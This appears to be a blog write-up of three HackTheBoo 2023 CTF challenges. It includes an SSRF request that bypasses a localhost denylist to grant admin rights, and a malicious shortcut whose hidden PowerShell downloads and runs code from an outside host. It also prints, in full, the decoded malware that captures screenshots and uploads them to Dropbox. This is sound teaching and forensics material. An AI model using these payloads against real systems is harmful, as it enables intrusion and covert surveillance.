Home HackTheBox - HackTheBoo CTF 2023
Post
Cancel

HackTheBox - HackTheBoo CTF 2023

Web

HauntMarkt

Reconnaisance

We get access to a webpage where we can login and register as a user.

htb-hauntmarkt

We also get access to the source code of this website.

run.py

The application seems to run on port “1337”.

1
2
3
from application.main import app

app.run(host='0.0.0.0', port=1337, debug=True)
util.py

We can see a denylist for local addresses.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
blocked_host = ["127.0.0.1", "localhost", "0.0.0.0"]

def downloadManual(url):
    safeUrl = isSafeUrl(url)
    if safeUrl:
        try:
            local_filename = url.split("/")[-1]
            r = requests.get(url)
            
            with open(f"/opt/manualFiles/{local_filename}", "wb") as f:
                for chunk in r.iter_content(chunk_size=1024):
                    if chunk:
                        f.write(chunk)
            return True
        except:
            return False
    
    return False


def isFromLocalhost(func):
    @wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != "127.0.0.1":
            return abort(403)
        return func(*args, **kwargs)

    return check_ip
routes.py

We can also see that an URL can be added when adding a new product, and that there is an “addAdmin” endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@api.route('/product', methods=['POST'])
@isAuthenticated
def sellProduct(user):
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    name = data.get('name', '')
    price = data.get('price', '')
    description = data.get('description', '')
    manualUrl = data.get('manual', '')

    if not name or not price or not description or not manualUrl:
        return response('All fields are required!'), 401

    manualPath = downloadManual(manualUrl)
    if (manualPath):
        addProduct(name, description, price)
        return response('Product submitted! Our mods will review your request')
    return response('Invalid Manual URL!'), 400


@api.route('/addAdmin', methods=['GET'])
@isFromLocalhost
def addAdmin():
    username = request.args.get('username')
    
    if not username:
        return response('Invalid username'), 400
    
    result = makeUserAdmin(username)

    if result:
        return response('User updated!')
    return response('Invalid username'), 400

Exploit

We can bypass the limited blocklist with “http://127.1:1337/” and add our registered user “decl” as an admin. There are a bunch of possible values (hacktricks) that can be used to bypass this denylist.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/product HTTP/1.1

Host: 94.237.63.238:37330
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
...
Cookie: session=.eJwVy2EPQkAcgPHv4n2WKy29PK12_4UlDr0xd4yLc02saH33eP08v6_Wq7potYNWjFCxMxeeABJOxHAFeZHWN7lNdqR-xtQGS58ngyM6Mnnq77c5SL9J0FtcbBgZ-jTkoUQeuw1fsKTbBTtBYnpHB7lBPXnxWvfyCEMXrSCQE0wJtsIN3yvsp6nTdEBxOahrFmYVG0rt9wfb6TXa.ZTqtkw.-yzkOMgVnxWd4-rNhxMH6oit6tQ

{
   "name":"NewProduct",
   "price":"2",
   "description":"SSRF",
   "manual":"http://127.1:1337/api/addAdmin?username=decl"
}

We get a message that our product has been submitted.

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.6
Date: Thu, 26 Oct 2023 18:53:30 GMT
Content-Type: application/json
Content-Length: 72
Vary: Cookie
Connection: close

{
  "message": "Product submitted! Our mods will review your request"
}

We can now re-authenticate and our account became an admin account. We now see the flag on the product page.

htb-hauntmarkt

Forensics

Trick or Treat

Another night staying alone at home during Halloween. But someone wanted to play a Halloween game with me. They emailed me the subject “Trick or Treat” and an attachment. When I opened the file, a black screen appeared for a second on my screen. It wasn’t so scary; maybe the season is not so spooky after all.

We get a zip that contains an windows shortcut (.lnk). We can investigate the contents with LECmd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PS C:\Users\flare\Documents\CTF\HackTheBoo\trick_or_treat> ./LECmd.exe -f ".\trick_or_treat.lnk"
  Source created:  2023-10-17 06:23:48
  Source modified: 2023-10-26 19:31:44
  Source accessed: 2023-10-26 19:40:05

--- Header ---
  Target created:  null
  Target modified: null
  Target accessed: null

  File size (bytes): 0
  Flags: HasTargetIdList, HasName, HasWorkingDir, HasArguments, HasIconLocation, IsUnicode, HasExpIcon
  File attributes: 0
  Hot key: CONTROL+C
  Icon index: 70
  Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Name: Trick or treat
Working Directory: C:
Arguments: /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a -windowstyle hidden "$asvods ='';$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko');$RandomUserAgent = $UserAgents | Get-Random;$WebClient = New-Object System.Net.WebClient;$WebClient.Headers.Add('User-Agent', $RandomUserAgent);$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');$vurnwos ='';for($i=0;$i -le $boddmei.Length-2;$i=$i+2){$bodms=$boddmei[$i]+$boddmei[$i+1];$decodedChar = [char]([convert]::ToInt16($bodms, 16));$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);$vurnwos = $vurnwos + $xoredChar};Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
Icon Location: C:\Windows\System32\shell32.dll

--- Extra blocks information ---

>> Icon environment data block
   Icon path: %SystemRoot%\System32\shell32.dll

>> Special folder data block
   Special Folder ID: 37

>> Known folder data block
   Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32

>> Property store data block (Format: GUID\ID Description ==> Value)
   46588ae2-4cbc-4338-bbfc-139326986dce\4      SID                                 ==> S-1-5-21-3849600975-1564034632-632203374-1001


---------- Processed C:\Users\flare\Documents\CTF\HackTheBoo\trick_or_treat\trick_or_treat.lnk in 0,48998640 seconds ----------

We see a powershell script being run in the arguments of this shortcut. We can clean it up. We find out this script connects to “http://windowsliveupdater.com”.

1
$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');$vurnwos ='';

In the wireshark logs we can find packets send to this URL:

htb-trickortreat

We can update the existing script to use the data of this package and write the output to console rather than calling Invoke-Command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a -windowstyle hidden ";
$asvods ='';
$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko');
$RandomUserAgent = $UserAgents | Get-Random;$WebClient = New-Object System.Net.WebClient;
$WebClient.Headers.Add('User-Agent', $RandomUserAgent);
#$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');
$boddmei = '7b68737e697472733d596f726d5f726530486d71727c793d661717465e70797178695f74737974737a353440176d7c6f7c703d35173d3d3d3d17464d7c6f7c707869786f3d35507c73797c69726f643d203d39496f6878313d4b7c7168785b6f72704d746d78717473783d203d39496f6878344017465c71747c6e353f7b3f344017466e696f74737a40394e72686f7e785b7471784d7c697517343d1739596f726d5f72655c7e7e786e6e49727678733d203d3f55495f666e2964424d68706d762c2c2c2c2c2c2c733c3c3c603f17397268696d68695b7471783d203d4e6d717469304d7c69753d394e72686f7e785b7471784d7c69753d3071787c7b1739497c6f7a78695b7471784d7c6975203f32397268696d68695b7471783f17397c6f7a3d203d3a663d3f6d7c69753f273d3f3a3d363d39497c6f7a78695b7471784d7c69753d363d3a3f313d3f707279783f273d3f7c79793f313d3f7c6869726f78737c70783f273d696f6878313d3f706869783f273d7b7c716e783d603a17397c686975726f74677c697472733d203d3f5f787c6f786f3d3f3d363d39596f726d5f72655c7e7e786e6e4972767873173975787c79786f6e3d203d53786a30527f77787e693d3f4e646e697870335e727171787e697472736e335a7873786f747e3359747e697472737c6f6446464e696f74737a4031464e696f74737a40403f173975787c79786f6e335c7979353f5c686975726f74677c697472733f313d397c686975726f74677c6974727334173975787c79786f6e335c7979353f596f726d7f7265305c4d54305c6f7a3f313d397c6f7a34173975787c79786f6e335c7979353f5e7273697873693049646d783f313d3a7c6d6d71747e7c6974727332727e697869306e696f787c703a341754736b727678304f786e695078697572793d30486f743d7569696d6e2732327e72736978736933796f726d7f72657c6d74337e7270322f327b7471786e32686d71727c793d305078697572793d4d726e693d3054735b7471783d394e72686f7e785b7471784d7c69753d3055787c79786f6e3d3975787c79786f6e176017176a75747178352c346617173d3d5c79793049646d783d305c6e6e78707f7164537c70783d4e646e697870334a747379726a6e335b726f706e314e646e69787033596f7c6a74737a17173d3d396e7e6f7878736e3d203d464a747379726a6e335b726f706e334e7e6f7878734027275c71714e7e6f7878736e17173d3d3969726d3d3d3d3d203d35396e7e6f7878736e335f726873796e3349726d3d3d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d3971787b693d3d3d203d35396e7e6f7878736e335f726873796e3351787b693d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d396a747969753d3d203d35396e7e6f7878736e335f726873796e334f747a75693d3d613d50787c6e686f7830527f77787e693d30507c65747068703433507c6574706870173d3d397578747a75693d203d35396e7e6f7878736e335f726873796e335f72696972703d613d50787c6e686f7830527f77787e693d30507c65747068703433507c657470687017173d3d397f726873796e3d3d3d203d46596f7c6a74737a334f787e697c737a71784027275b6f727051494f5f353971787b69313d3969726d313d396a74796975313d397578747a756934173d3d397f706d3d3d3d3d3d3d203d53786a30527f77787e693d3049646d78537c70783d4e646e69787033596f7c6a74737a335f7469707c6d3d305c6f7a687078736951746e693d354674736940397f726873796e336a7479697534313d354674736940397f726873796e337578747a756934173d3d397a6f7c6d75747e6e3d203d46596f7c6a74737a335a6f7c6d75747e6e4027275b6f727054707c7a7835397f706d3417173d3d397a6f7c6d75747e6e335e726d645b6f72704e7e6f78787335397f726873796e3351727e7c69747273313d46596f7c6a74737a334d7274736940272758706d6964313d397f726873796e336e7467783417173d3d397f706d334e7c6b78353f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f34173d3d397a6f7c6d75747e6e3359746e6d726e783534173d3d397f706d3359746e6d726e783534173d3d173d3d6e697c6f69306e7178786d3d304e787e7273796e3d2c28173d3f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f3d613d596f726d5f726530486d71727c791760
'
$vurnwos ='';
for($i=0;$i -le $boddmei.Length-2;$i=$i+2)
{
$bodms=$boddmei[$i]+$boddmei[$i+1];
$decodedChar = [char]([convert]::ToInt16($bodms, 16));
$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);
$vurnwos = $vurnwos + $xoredChar};
#Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));
#Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
Write-Output $vurnwos;
Write-Output $asvods;

We find the flag in the output as it’s a powershell script that seems to take screen captures and upload it to a dropbox owned by the adversary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function DropBox-Upload {

[CmdletBinding()]
param (
    
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
) 
$DropBoxAccessToken = "HTB{s4y_Pumpk1111111n!!!}"
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath="/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}

while(1){

  Add-Type -AssemblyName System.Windows.Forms,System.Drawing

  $screens = [Windows.Forms.Screen]::AllScreens

  $top    = ($screens.Bounds.Top    | Measure-Object -Minimum).Minimum
  $left   = ($screens.Bounds.Left   | Measure-Object -Minimum).Minimum
  $width  = ($screens.Bounds.Right  | Measure-Object -Maximum).Maximum
  $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum

  $bounds   = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
  $bmp      = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
  $graphics = [Drawing.Graphics]::FromImage($bmp)

  $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)

  $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
  $graphics.Dispose()
  $bmp.Dispose()
  
  start-sleep -Seconds 15
 "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
}

Reversing

SpellBrewery

I’ve been hard at work in my spell brewery for days, but I can’t crack the secret of the potion of eternal life. Can you uncover the recipe?

We get a compressed file that contains an executable and a .dll file. When running the file, it asks us to create a spell to get the flag.

1
2
3
4
5
6
7
PS C:\Users\flare\Documents\CTF\HackTheBoo\spellbrewery> ./SpellBrewery
1. List Ingredients
2. Display Current Recipe
3. Add Ingredient
4. Brew Spell
5. Clear Recipe
6. Quit

We can load the “SpellBrewery.dll” in dnSpy and see the source code. We find the function that validates if the brewery is correct.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static void BrewSpell()
{
	bool flag = Brewery.recipe.Count < 1;
	if (flag)
	{
		Console.WriteLine("You can't brew with an empty cauldron");
	}
	else
	{
		byte[] array = Brewery.recipe.Select((Ingredient ing) => (byte)(Array.IndexOf<string>(Brewery.IngredientNames, ing.ToString()) + 32)ToArray<byte>();
		bool flag2 = Brewery.recipe.SequenceEqual(Brewery.correct.Select((string name) => new Ingredient(name)));
		if (flag2)
		{
			Console.WriteLine("The spell is complete - your flag is: " + Encoding.ASCII.GetString(array));
			Environment.Exit(0);
		}
		else
		{
			Console.WriteLine("The cauldron bubbles as your ingredients melt away. Try another recipe.");
		}
	}
}

We also find the correct array that contains the ingredients to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static readonly string[] IngredientNames = new string[]
	{
		"Witch's Eye", "Bat Wing", "Ghostly Essence", "Toadstool Extract", "Vampire Blood", "Mandrake Root", "Zombie Brain", "Ghoul's Breath", "SpiderVenom", "Black Cat's Whisker",
		"Werewolf Fur", "Banshee's Wail", "Spectral Ash", "Pumpkin Spice", "Goblin's Earwax", "Haunted Mist", "Wraith's Tear", "Serpent Scale", "MoonlitFern", "Cursed Skull",
		"Raven Feather", "Wolfsbane", "Frankenstein's Bolt", "Wicked Ivy", "Screaming Banshee Berry", "Mummy's Wrappings", "Dragon's Breath", "BubblingCauldron Brew", "Gorehound's Howl", "Wraithroot",
		"Haunted Grave Moss", "Ectoplasmic Slime", "Voodoo Doll's Stitch", "Bramble Thorn", "Hocus Pocus Powder", "Cursed Clove", "Wicked Witch's Hair","Halloween Moon Dust", "Bog Goblin Slime", "Ghost Pepper",
		"Phantom Firefly Wing", "Gargoyle Stone", "Zombie Toenail", "Poltergeist Polyp", "Spectral Goo", "Salamander Scale", "Cursed Candelabra Wax","Witch Hazel", "Banshee's Bane", "Grim Reaper's Scythe",
		"Black Widow Venom", "Moonlit Nightshade", "Ghastly Gourd", "Siren's Song Seashell", "Goblin Gold Dust", "Spider Web Silk", "Haunted Spirit Vine","Frog's Tongue", "Mystic Mandrake", "Widow's Peak Essence",
		"Wicked Warlock's Beard", "Crypt Keeper's Cryptonite", "Bewitched Broomstick Bristle", "Dragon's Scale Shimmer", "Vampire Bat Blood", "GraveyardGrass", "Halloween Harvest Pumpkin", "Cursed Cobweb Cotton", "Phantom Howler Fur", "Wraithbone",
		"Goblin's Green Slime", "Witch's Brew Brew", "Voodoo Doll Pin", "Bramble Berry", "Spooky Spellbook Page", "Halloween Cauldron Steam", "SpectralSpectacles", "Salamander's Tail", "Cursed Crypt Key", "Pumpkin Patch Spice",
		"Haunted Hay Bale", "Banshee's Bellflower", "Ghoulish Goblet", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Werewolf Whisker", "GargoyleGaze", "Black Cat's Meow", "Wolfsbane Extract", "Goblin's Gold",
		"Phantom Firefly Fizz", "Spider Sling Silk", "Widow's Weave", "Wraith Whisper", "Siren's Serenade", "Moonlit Mirage", "Spectral Spark", "Dragon'sRoar", "Banshee's Banshee", "Witch's Whisper",
		"Ghoul's Groan", "Toadstool Tango", "Vampire's Kiss", "Bubbling Broth", "Mystic Elixir", "Cursed Charm"
	};

private static readonly string[] correct = new string[]
	{
		"Phantom Firefly Wing", "Ghastly Gourd", "Hocus Pocus Powder", "Spider Sling Silk", "Goblin's Gold", "Wraith's Tear", "Werewolf Whisker", "GhoulishGoblet", "Cursed Skull", "Dragon's Scale Shimmer",
		"Raven Feather", "Dragon's Scale Shimmer", "Zombie Zest Zest", "Ghoulish Goblet", "Werewolf Whisker", "Cursed Skull", "Dragon's Scale Shimmer","Haunted Hay Bale", "Wraith's Tear", "Zombie Zest Zest",
		"Serpent Scale", "Wraith's Tear", "Cursed Crypt Key", "Dragon's Scale Shimmer", "Salamander's Tail", "Raven Feather", "Wolfsbane", "Frankenstein'sLab Liquid", "Zombie Zest Zest", "Cursed Skull",
		"Ghoulish Goblet", "Dragon's Scale Shimmer", "Cursed Crypt Key", "Wraith's Tear", "Black Cat's Meow", "Wraith Whisper"
	};

We can now put these in to get the flag.

Manual

htb-spellbrewery

Automatic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 IngredientNames = [
	"Witch's Eye", "Bat Wing", "Ghostly Essence", "Toadstool Extract", "Vampire Blood", "Mandrake Root", "Zombie Brain", "Ghoul's Breath", "Spider Venom", "Black Cat's Whisker",
	"Werewolf Fur", "Banshee's Wail", "Spectral Ash", "Pumpkin Spice", "Goblin's Earwax", "Haunted Mist", "Wraith's Tear", "Serpent Scale", "Moonlit Fern", "Cursed Skull",
	"Raven Feather", "Wolfsbane", "Frankenstein's Bolt", "Wicked Ivy", "Screaming Banshee Berry", "Mummy's Wrappings", "Dragon's Breath", "Bubbling Cauldron Brew", "Gorehound's Howl", "Wraithroot",
	"Haunted Grave Moss", "Ectoplasmic Slime", "Voodoo Doll's Stitch", "Bramble Thorn", "Hocus Pocus Powder", "Cursed Clove", "Wicked Witch's Hair", "Halloween Moon Dust", "Bog Goblin Slime", "Ghost Pepper",
	"Phantom Firefly Wing", "Gargoyle Stone", "Zombie Toenail", "Poltergeist Polyp", "Spectral Goo", "Salamander Scale", "Cursed Candelabra Wax", "Witch Hazel", "Banshee's Bane", "Grim Reaper's Scythe",
	"Black Widow Venom", "Moonlit Nightshade", "Ghastly Gourd", "Siren's Song Seashell", "Goblin Gold Dust", "Spider Web Silk", "Haunted Spirit Vine", "Frog's Tongue", "Mystic Mandrake", "Widow's Peak Essence",
	"Wicked Warlock's Beard", "Crypt Keeper's Cryptonite", "Bewitched Broomstick Bristle", "Dragon's Scale Shimmer", "Vampire Bat Blood", "Graveyard Grass", "Halloween Harvest Pumpkin", "Cursed Cobweb Cotton", "Phantom Howler Fur", "Wraithbone",
	"Goblin's Green Slime", "Witch's Brew Brew", "Voodoo Doll Pin", "Bramble Berry", "Spooky Spellbook Page", "Halloween Cauldron Steam", "Spectral Spectacles", "Salamander's Tail", "Cursed Crypt Key", "Pumpkin Patch Spice",
	"Haunted Hay Bale", "Banshee's Bellflower", "Ghoulish Goblet", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Werewolf Whisker", "Gargoyle Gaze", "Black Cat's Meow", "Wolfsbane Extract", "Goblin's Gold",
	"Phantom Firefly Fizz", "Spider Sling Silk", "Widow's Weave", "Wraith Whisper", "Siren's Serenade", "Moonlit Mirage", "Spectral Spark", "Dragon's Roar", "Banshee's Banshee", "Witch's Whisper",
	"Ghoul's Groan", "Toadstool Tango", "Vampire's Kiss", "Bubbling Broth", "Mystic Elixir", "Cursed Charm"
]

correct = [
	"Phantom Firefly Wing", "Ghastly Gourd", "Hocus Pocus Powder", "Spider Sling Silk", "Goblin's Gold", "Wraith's Tear", "Werewolf Whisker", "Ghoulish Goblet", "Cursed Skull", "Dragon's Scale Shimmer",
	"Raven Feather", "Dragon's Scale Shimmer", "Zombie Zest Zest", "Ghoulish Goblet", "Werewolf Whisker", "Cursed Skull", "Dragon's Scale Shimmer", "Haunted Hay Bale", "Wraith's Tear", "Zombie Zest Zest",
	"Serpent Scale", "Wraith's Tear", "Cursed Crypt Key", "Dragon's Scale Shimmer", "Salamander's Tail", "Raven Feather", "Wolfsbane", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Cursed Skull",
	"Ghoulish Goblet", "Dragon's Scale Shimmer", "Cursed Crypt Key", "Wraith's Tear", "Black Cat's Meow", "Wraith Whisper"
]

def ingredientTxfm(ing: str):
	return IngredientNames.index(ing) + 32

result = bytes(map(ingredientTxfm, correct))
print(f"Flag: {result}")
This post is licensed under CC BY 4.0 by the author.